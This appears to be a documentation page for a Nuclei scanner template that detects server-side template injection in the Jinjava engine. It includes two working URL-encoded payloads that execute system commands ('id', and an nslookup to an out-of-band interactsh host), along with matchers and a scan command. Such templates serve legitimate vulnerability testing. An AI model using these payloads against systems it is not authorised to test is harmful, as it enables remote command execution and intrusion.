Jinjava - Server Side Template Injection

ID: jinjava-ssti

Severity: high

Author: ritikchaddha

Tags: ssti,dast,jinjava

Description

Jinjava is a Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

YAML Source

id: jinjava-ssti

info:
  name: Jinjava - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Jinjava is a Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#jinjava---command-execution
  metadata:
    max-request: 1
  tags: ssti,dast,jinjava

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{{%27a%27.getClass().forName(%27javax.script.ScriptEngineManager%27).newInstance().getEngineByName(%27JavaScript%27).eval(%5C%22var%20x%3Dnew%20java.lang.ProcessBuilder%3B%20x.command(%5C%5C%5C%22nslookup%5C%5C%5C%22,%20%5C%5C%5C%22-type=SRV%5C%5C%5C%22,%20%5C%5C%5C%22{{interactsh-url}}%5C%5C%5C%22)%3B%20org.apache.commons.io.IOUtils.toString(x.start().getInputStream())%5C%22)}}"
        - "{{%27a%27.getClass().forName(%27javax.script.ScriptEngineManager%27).newInstance().getEngineByName(%27JavaScript%27).eval(%5C%22var%20x%3Dnew%20java.lang.ProcessBuilder%3B%20x.command(%5C%5C%5C%22id%5C%5C%5C%22)%3B%20org.apache.commons.io.IOUtils.toString(x.start().getInputStream())%5C%22)}}"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and

      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 490a00463044022009e471af7219a7639a467c4bc520db6ab774746b4dc0aefc0182930ce12940a3022077b368e377321ba8b805aa19bdf3debc133f0ff5a504c41968784872719209dc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/jinjava-oob.yaml"

View on Github